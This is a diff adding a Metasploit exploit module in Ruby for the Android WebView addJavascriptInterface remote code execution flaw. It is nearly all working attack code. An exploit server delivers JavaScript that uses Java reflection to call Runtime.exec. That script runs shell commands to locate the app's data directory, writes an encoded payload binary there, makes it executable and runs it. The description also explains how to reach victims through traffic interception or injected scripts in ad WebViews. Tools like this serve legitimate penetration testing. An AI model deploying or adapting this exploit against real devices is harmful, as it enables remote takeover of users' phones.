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| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 11 | + include Msf::Exploit::Remote::BrowserAutopwn |
| 12 | + |
| 13 | + autopwn_info({ |
| 14 | + :os_flavor => "Android", |
| 15 | + :arch => ARCH_ARMLE, |
| 16 | + :javascript => true, |
| 17 | + :rank => ExcellentRanking, |
| 18 | + :vuln_test => %Q| |
| 19 | + for (i in top) { |
| 20 | + try { |
| 21 | + top[i].getClass().forName('java.lang.Runtime'); |
| 22 | + is_vuln = true; break; |
| 23 | + } catch(e) {} |
| 24 | + } |
| 25 | + | |
| 26 | + }) |
| 27 | + |
| 28 | + def initialize(info = {}) |
| 29 | + super(update_info(info, |
| 30 | + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', |
| 31 | + 'Description' => %q{ |
| 32 | + This module exploits a privilege escalation issue in Android < 4.2's WebView component |
| 33 | + that arises when untrusted Javascript code is executed by a WebView that has one or more |
| 34 | + Interfaces added to it. The untrusted Javascript code can call into the Java Reflection |
| 35 | + APIs exposed by the Interface and execute arbitrary commands. |
| 36 | +
|
| 37 | + Some distributions of the Android Browser app have an addJavascriptInterface |
| 38 | + call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs |
| 39 | + 4.1.2 release of Android is known to be vulnerable. |
| 40 | +
|
| 41 | + A secondary attack vector involves the WebViews embedded inside a large number |
| 42 | + of Android applications. Ad integrations are perhaps the worst offender here. |
| 43 | + If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS |
| 44 | + into the page displayed in the WebView, then you can inject the html/js served |
| 45 | + by this module and get a shell. |
| 46 | +
|
| 47 | + Note: Adding a .js to the URL will return plain javascript (no HTML markup). |
| 48 | + }, |
| 49 | + 'License' => MSF_LICENSE, |
| 50 | + 'Author' => [ |
| 51 | + 'jduck', # original msf module |
| 52 | + 'joev' # static server |
| 53 | + ], |
| 54 | + 'References' => [ |
| 55 | + ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+ |
| 56 | + 'addjavascriptinterface-code-execution-vulnerability/'], |
| 57 | + ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], |
| 58 | + ['URL', 'http://50.56.33.56/blog/?p=314'], |
| 59 | + ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+ |
| 60 | + 'addjavascriptinterface-remote-code-execution/'] |
| 61 | + ], |
| 62 | + 'Platform' => 'linux', |
| 63 | + 'Arch' => ARCH_ARMLE, |
| 64 | + 'DefaultOptions' => { 'PrependFork' => true }, |
| 65 | + 'Targets' => [ [ 'Automatic', {} ] ], |
| 66 | + 'DisclosureDate' => 'Dec 21 2012', |
| 67 | + 'DefaultTarget' => 0, |
| 68 | + 'BrowserRequirements' => { |
| 69 | + :source => 'script', |
| 70 | + :os_flavor => "Android", |
| 71 | + :arch => ARCH_ARMLE |
| 72 | + } |
| 73 | + )) |
| 74 | + end |
| 75 | + |
| 76 | + def on_request_uri(cli, req) |
| 77 | + if req.uri.end_with?('js') |
| 78 | + print_status("Serving javascript") |
| 79 | + send_response(cli, js, 'Content-type' => 'text/javascript') |
| 80 | + else |
| 81 | + super |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | + def on_request_exploit(cli, req, browser) |
| 86 | + print_status("Serving exploit HTML") |
| 87 | + send_response_html(cli, html) |
| 88 | + end |
| 89 | + |
| 90 | + def js |
| 91 | + %Q| |
| 92 | + function exec(obj) { |
| 93 | + // ensure that the object contains a native interface |
| 94 | + try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } |
| 95 | +
|
| 96 | + // get the runtime so we can exec |
| 97 | + var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); |
| 98 | + var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; |
| 99 | +
|
| 100 | + // get the process name, which will give us our data path |
| 101 | + var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); |
| 102 | + var ch, path = '/data/data/'; |
| 103 | + while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } |
| 104 | + path += '/#{Rex::Text.rand_text_alpha(8)}'; |
| 105 | +
|
| 106 | + // build the binary, chmod it, and execute it |
| 107 | + m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); |
| 108 | + m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); |
| 109 | + m.invoke(null, null).exec([path]); |
| 110 | +
|
| 111 | + return true; |
| 112 | + } |
| 113 | +
|
| 114 | + for (i in top) { if (exec(top[i]) === true) break; } |
| 115 | + | |
| 116 | + end |
| 117 | + |
| 118 | + def html |
| 119 | + "<!doctype html><html><body><script>#{js}</script></body></html>" |
| 120 | + end |
| 121 | +end |
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